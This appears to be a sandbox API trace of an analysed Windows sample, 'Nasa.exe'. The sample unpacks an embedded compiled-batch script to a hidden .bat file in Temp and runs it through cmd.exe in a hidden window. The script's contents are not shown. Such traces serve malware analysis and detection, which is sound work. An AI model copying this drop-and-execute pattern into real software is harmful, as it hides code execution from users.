[0109.130] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5c80) returned 0x1e
[0109.130] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5c80 | out: hHeap=0x1a0000) returned 1
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb6d0) returned 1
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb6d0) returned 0x18
[0109.130] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb6d0 | out: hHeap=0x1a0000) returned 1
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5bc0) returned 1
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5bc0) returned 0x20
[0109.130] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5bc0 | out: hHeap=0x1a0000) returned 1
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bbbe0) returned 1
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bbbe0) returned 0x50
[0109.130] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bbbe0 | out: hHeap=0x1a0000) returned 1
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] GetProcessHeap () returned 0x1a0000
[0109.130] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5a10) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5a10) returned 0x20
[0109.131] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5a10 | out: hHeap=0x1a0000) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bbec0) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bbec0) returned 0x4a
[0109.131] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bbec0 | out: hHeap=0x1a0000) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5a40) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5a40) returned 0x20
[0109.131] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5a40 | out: hHeap=0x1a0000) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb940) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb940) returned 0x8
[0109.131] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb940 | out: hHeap=0x1a0000) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5a70) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5a70) returned 0x20
[0109.131] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5a70 | out: hHeap=0x1a0000) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5aa0) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5aa0) returned 0x20
[0109.131] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5aa0 | out: hHeap=0x1a0000) returned 1
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.131] GetProcessHeap () returned 0x1a0000
[0109.132] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb670) returned 1
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb670) returned 0x18
[0109.132] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb670 | out: hHeap=0x1a0000) returned 1
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5ad0) returned 1
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5ad0) returned 0x20
[0109.132] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5ad0 | out: hHeap=0x1a0000) returned 1
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5b00) returned 1
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5b00) returned 0x20
[0109.132] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5b00 | out: hHeap=0x1a0000) returned 1
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5b30) returned 1
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5b30) returned 0x20
[0109.132] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5b30 | out: hHeap=0x1a0000) returned 1
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5b60) returned 1
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5b60) returned 0x20
[0109.132] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5b60 | out: hHeap=0x1a0000) returned 1
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] GetProcessHeap () returned 0x1a0000
[0109.132] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb690) returned 1
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb690) returned 0x18
[0109.133] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb690 | out: hHeap=0x1a0000) returned 1
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5b90) returned 1
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5b90) returned 0x20
[0109.133] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5b90 | out: hHeap=0x1a0000) returned 1
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5c20) returned 1
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5c20) returned 0x20
[0109.133] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5c20 | out: hHeap=0x1a0000) returned 1
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5cb0) returned 1
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5cb0) returned 0x20
[0109.133] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5cb0 | out: hHeap=0x1a0000) returned 1
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb6b0) returned 1
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.133] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb6b0) returned 0x18
[0109.133] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb6b0 | out: hHeap=0x1a0000) returned 1
[0109.133] GetProcessHeap () returned 0x1a0000
[0109.134] GetProcessHeap () returned 0x1a0000
[0109.134] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5c50) returned 1
[0109.134] GetProcessHeap () returned 0x1a0000
[0109.134] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1b5c50) returned 0x20
[0109.134] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b5c50 | out: hHeap=0x1a0000) returned 1
[0109.134] GetProcessHeap () returned 0x1a0000
[0109.134] GetProcessHeap () returned 0x1a0000
[0109.134] HeapValidate (hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb630) returned 1
[0109.134] GetProcessHeap () returned 0x1a0000
[0109.134] RtlSizeHeap (HeapHandle=0x1a0000, Flags=0x0, MemoryPointer=0x1bb630) returned 0x18
[0109.134] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1bb630 | out: hHeap=0x1a0000) returned 1
[0109.134] exit (_Code=0)
Process:
id = "4"
image_name = "nasa.exe"
filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nasa.exe"
page_root = "0x7984d000"
os_pid = "0xf80"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "1"
os_parent_pid = "0x604"
cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe\" "
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 271
os_tid = 0xf84
[0233.689] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
[0233.690] SetThreadLocale (Locale=0x400) returned 1
[0233.700] GetVersion () returned 0x1db10106
[0233.700] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000
[0233.701] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadPreferredUILanguages") returned 0x76dc47a1
[0233.701] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000
[0233.701] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadPreferredUILanguages") returned 0x76dd79e5
[0233.701] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000
[0233.701] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadUILanguage") returned 0x76d6cf14
[0233.701] GetSystemInfo (in: lpSystemInfo=0x18feec | out: lpSystemInfo=0x18feec*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504))
[0233.701] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe\" "
[0233.701] GetStartupInfoW (in: lpStartupInfo=0x18fec8 | out: lpStartupInfo=0x18fec8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4, hStdOutput=0x200212, hStdError=0x1f80))
[0233.701] GetACP () returned 0x4e4
[0233.701] GetCurrentThreadId () returned 0xf84
[0233.701] GetVersion () returned 0x1db10106
[0233.701] GetVersionExW (in: lpVersionInformation=0x18fdfc*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x77c7019b, dwMinorVersion=0x77c702ea, dwBuildNumber=0x5f2960, dwPlatformId=0x18fe62, szCSDVersion="") | out: lpVersionInformation=0x18fdfc*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0233.702] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x18dcfc, nSize=0x20a | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nasa.exe")) returned 0x2e
[0233.702] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18dae6, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nasa.exe")) returned 0x2e
[0233.702] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x1c80000
[0233.703] lstrcpynW (in: lpString1=0x18d852, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", iMaxLength=261 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe"
[0233.703] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18da60 | out: phkResult=0x18da60*=0x0) returned 0x2
[0233.703] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18da60 | out: phkResult=0x18da60*=0x0) returned 0x2
[0233.703] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18da60 | out: phkResult=0x18da60*=0x0) returned 0x2
[0233.703] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18da60 | out: phkResult=0x18da60*=0x0) returned 0x2
[0233.704] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18da60 | out: phkResult=0x18da60*=0x0) returned 0x2
[0233.704] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18da60 | out: phkResult=0x18da60*=0x0) returned 0x2
[0233.704] GetUserDefaultUILanguage () returned 0x409
[0233.708] IsValidLocale (Locale=0x409, dwFlags=0x2) returned 1
[0233.708] GetThreadUILanguage () returned 0x180409
[0233.709] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x18da3c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x18da64 | out: pulNumLanguages=0x18da3c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x18da64) returned 1
[0233.709] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x18da3c, pwszLanguagesBuffer=0x1daa680, pcchLanguagesBuffer=0x18da64 | out: pulNumLanguages=0x18da3c, pwszLanguagesBuffer=0x1daa680, pcchLanguagesBuffer=0x18da64) returned 1
[0233.709] lstrcpynW (in: lpString1=0x40db7e, lpString2="en-US,en,", iMaxLength=170 | out: lpString1="en-US,en,") returned="en-US,en,"
[0233.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.en-US", lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d748, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18da74, ftLastAccessTime.dwHighDateTime=0xbf, ftLastWriteTime.dwLowDateTime=0x16fba8, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x7000007, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x6016e8, cFileName="᪨`4쀀", cAlternateFileName="쀬Ǚ㾜@+")) returned 0xffffffff
[0233.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.en", lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d748, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18da74, ftLastAccessTime.dwHighDateTime=0xbf, ftLastWriteTime.dwLowDateTime=0x16fba8, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x7000007, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x6016e8, cFileName="᪨`4쀀", cAlternateFileName="跌Ǜ㾜@+")) returned 0xffffffff
[0233.711] GetUserDefaultUILanguage () returned 0x409
[0233.711] GetLocaleInfoW (in: Locale=0x409, LCType=0x3, lpLCData=0x18da80, cchData=4 | out: lpLCData="ENU") returned 4
[0233.711] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.ENU", lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d748, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18da74, ftLastAccessTime.dwHighDateTime=0xbf, ftLastWriteTime.dwLowDateTime=0x16fba8, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x7000007, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x6016e8, cFileName="᪨`4쀀", cAlternateFileName="跌Ǜ㾜@+")) returned 0xffffffff
[0233.711] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.EN", lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d748, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18da74, ftLastAccessTime.dwHighDateTime=0xbf, ftLastWriteTime.dwLowDateTime=0x16fba8, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x7000007, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x6016e8, cFileName="᪨`4쀀", cAlternateFileName="跌Ǜ㾜@+")) returned 0xffffffff
[0233.712] LoadStringW (in: hInstance=0x400000, uID=0xfff1, lpBuffer=0x18df30, cchBufferMax=4096 | out: lpBuffer="In order to correctly identify malware while avoiding false positives, antivirus manufacturers shalldetect the presence of Quick Batch File Compiler label, extract the user's script from the resourcesof the file, and analyze and extract a signature out of the user's script and not of the compiler stub.\r\nQuick Batch File Compiler label: Resource Name: 99, Resource Type: 99, Label Text: \"QUICKBFC\".\r\nEncrypted user script: Resource Name: SCRIPT, Resource Type: RC DATA\r\nCompressed Embedded files: Resource Name: ITEMS, Resource Type: RC DATA\r\nPlease contact us for more details: support@abyssmedia.com") returned 0x25a
[0233.712] FindResourceW (hModule=0x400000, lpName="SETT", lpType=0xa) returned 0x4130f0
[0233.712] LoadResource (hModule=0x400000, hResInfo=0x4130f0) returned 0x413cb4
[0233.712] LockResource (hResData=0x413cb4) returned 0x413cb4
[0233.713] SizeofResource (hModule=0x400000, hResInfo=0x4130f0) returned 0x30
[0233.713] FreeResource (hResData=0x413cb4) returned 0
[0233.713] GetEnvironmentVariableW (in: lpName="TMP", lpBuffer=0x1d8d9cc, nSize=0xff | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24
[0233.713] GetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp")) returned 0x2010
[0233.713] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", nBufferLength=0x1000, lpBuffer=0x18df0c, lpFilePart=0x18df08 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpFilePart=0x18df08*="Temp") returned 0x24
[0233.713] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x40dd09, cbMultiByte=4, lpWideCharStr=0x18ef24, cchWideChar=2047 | out: lpWideCharStr=".bat") returned 4
[0233.713] GetCurrentProcessId () returned 0xf80
[0233.713] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff00 | out: lpPerformanceCount=0x18ff00*=35284957173) returned 1
[0233.714] GetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\0wpaa36f.bat")) returned 0xffffffff
[0233.714] FindResourceW (hModule=0x400000, lpName="SCRIPT", lpType=0xa) returned 0x4130e0
[0233.714] LoadResource (hModule=0x400000, hResInfo=0x4130e0) returned 0x413964
[0233.714] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\0wpaa36f.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x102, hTemplateFile=0x0) returned 0x5c
[0233.716] LockResource (hResData=0x413964) returned 0x413964
[0233.716] SizeofResource (hModule=0x400000, hResInfo=0x4130e0) returned 0x350
[0233.716] FreeResource (hResData=0x413964) returned 0
[0233.716] WriteFile (in: hFile=0x5c, lpBuffer=0x1d78030*, nNumberOfBytesToWrite=0x342, lpNumberOfBytesWritten=0x40dd80, lpOverlapped=0x0 | out: lpBuffer=0x1d78030*, lpNumberOfBytesWritten=0x40dd80*=0x342, lpOverlapped=0x0) returned 1
[0233.720] CloseHandle (hObject=0x5c) returned 1
[0233.721] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe\" "
[0233.721] LoadStringW (in: hInstance=0x400000, uID=0xfff0, lpBuffer=0x18df2c, cchBufferMax=4096 | out: lpBuffer="cmdln") returned 0x5
[0233.721] SetEnvironmentVariableW (lpName="cmdln", lpValue="") returned 1
[0233.721] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c \"\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe\" \"", lpProcessAttributes=0x18ff24, lpThreadAttributes=0x18ff24, bInheritHandles=1, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fee0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fed0 | out: lpCommandLine="cmd.exe /c \"\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe\" \"", lpProcessInformation=0x18fed0*(hProcess=0x60, hThread=0x5c, dwProcessId=0xf88, dwThreadId=0xf8c)) returned 1
[0233.892] WaitForSingleObject (hHandle=0x60, dwMilliseconds=0xffffffff)
Process:
id = "5"
image_name = "cmd.exe"
filename = "c:\\windows\\syswow64\\cmd.exe"
page_root = "0x75397000"
os_pid = "0xf88"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "4"
os_parent_pid = "0xf80"
cmd_line = "cmd.exe /c \"\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe\" \""
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 272
os_tid = 0xf8c
[0234.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fee4 | out: lpSystemTimeAsFileTime=0x28fee4*(dwLowDateTime=0x64fe3e40, dwHighDateTime=0x1d6a96f))
[0234.773] GetCurrentProcessId () returned 0xf88
[0234.773] GetCurrentThreadId () returned 0xf8c
[0234.773] GetTickCount () returned 0x116c005
[0234.773] QueryPerformanceCounter (in: lpPerformanceCount=0x28fedc | out: lpPerformanceCount=0x28fedc*=35390950126) returned 1
[0234.775] GetModuleHandleA (lpModuleName=0x0) returned 0x4a9b0000
[0234.776] __set_app_type (_Type=0x1)
[0234.776] __p__fmode () returned 0x770331f4
[0234.820] __p__commode () returned 0x770331fc
[0234.821] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a9d21a6) returned 0x0
[0234.821] __getmainargs (in: _Argc=0x4a9d4238, _Argv=0x4a9d4240, _Env=0x4a9d423c, _DoWildCard=0, _StartInfo=0x4a9d4140 | out: _Argc=0x4a9d4238, _Argv=0x4a9d4240, _Env=0x4a9d423c) returned 0
[0234.822] GetCurrentThreadId () returned 0xf8c
[0234.822] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf8c) returned 0x60
[0234.822] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000
[0234.822] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadUILanguage") returned 0x76d5a84f
[0234.822] SetThreadUILanguage (LangId=0x0) returned 0x409
[0234.823] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0234.823] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28fe74 | out: phkResult=0x28fe74*=0x0) returned 0x2
[0234.824] VirtualQuery (in: lpAddress=0x28feab, lpBuffer=0x28fe44, dwLength=0x1c | out: lpBuffer=0x28fe44*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
